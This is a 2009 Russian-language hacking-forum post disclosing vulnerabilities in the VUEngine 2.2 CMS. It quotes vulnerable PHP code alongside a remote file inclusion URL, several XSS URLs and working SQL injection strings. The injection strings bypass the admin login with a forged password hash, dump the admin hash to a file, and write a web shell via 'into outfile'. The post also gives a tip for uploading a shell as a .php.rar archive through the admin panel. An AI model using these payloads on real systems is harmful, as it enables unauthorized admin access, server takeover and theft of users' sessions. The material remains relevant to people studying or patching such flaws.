VUEngine 2.2 Multiple Vulnerabilities

Discussion in 'Веб-уязвимости' started by Spyder, 13 Apr 2009.

  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    VUEngine 2.2 Multiple Vulnirables

    1) Remote File Inclusion

    Файл: export.php
    PHP:
    <?
    require(
    "config.php");
    require(
    $path."php/class.php");
    http://localhost/vu/export.php?path={RFI}?

    2) Blind SQL-Injection

    Needed: magic_quotes_gpc=off
    Файл: /admin/login.php

    PHP:
        if (@$gardemarin)
        {
            
            
    $res $site->sql_query("SELECT * FROM ".$prefix."users WHERE user = '$log_name'");
            
            if (!
    $res)
            {
                
                die (
    "Имя или пароль неверны");
            }
            
    $myrow=mysql_fetch_array($res);
            
            if (
    md5(@$log_pasw) != $myrow["pass"])
            {
                die (
    "Имя или пароль неверны");
            }
            
    $type $myrow["type"];
        }
    Уязвимость в переменной $log_name
    I) Есть возможность обойти авторизацию
    в поле логин пишем
    blabla' union select 'admin','1e9b5660ab6ac33664aec0eb59566fd0','2
    в поле пароль пишем пасс, хеш которого написали в поле логин, т.е есть возможность залогинится в админке с любым пасом, зная только логин админа

    II) Ну соответсвенно при наличие file_priv и папки на запись можно узнать хеш админа
    в поле логин пишем
    admin' into outfile '/tmp/xek.txt
    пароль любой
    или залить шелл
    admin' union select 0xshellcode,2,3 into outfile '/tmp/shell.php

    Обращаю внимание что во всех случаях в конце кавычку ставить не надо, её подставит сам скрипт =)
    В админке шелл льётся через загрузку архивов, грузим shell.php.rar, при удачном раскладе апач обработает файл как php-скрипт

    3) XSS

    Файл: export.php
    PHP:
    if ($border ==1)
    {
    echo 
    "document.writeln('<table border=1 bgcolor=$bgcolor bordercolor=$bcolor> <tr> <td>');\n";    
    }
    else
    {
    echo 
    "document.writeln('<table border=0 bgcolor=$bgcolor> <tr> <td>');\n";    
    }

    echo 
    "document.writeln('<font color=$txtcolor>');\n";
    http://localhost/vu/export.php?border=1&bcolor=">{XSS}
    http://localhost/vu/export.php?bgcolor=</tr>{XSS}
    http://localhost/vu/export.php?txtcolor=">{XSS}


    Файл: /admin/mod.php
    Файл: /admin/full.php
    Файл: /admin/author.php

    Код не привожу. Массивы $lnk и $ltxt подвержены xss
    Пара примеров
    http://localhost/vu/admin/mod.php?ltxt[1]={XSS}
    http://localhost/vu/admin/mod.php?lnk[16]={XSS}
     
    1 person likes this.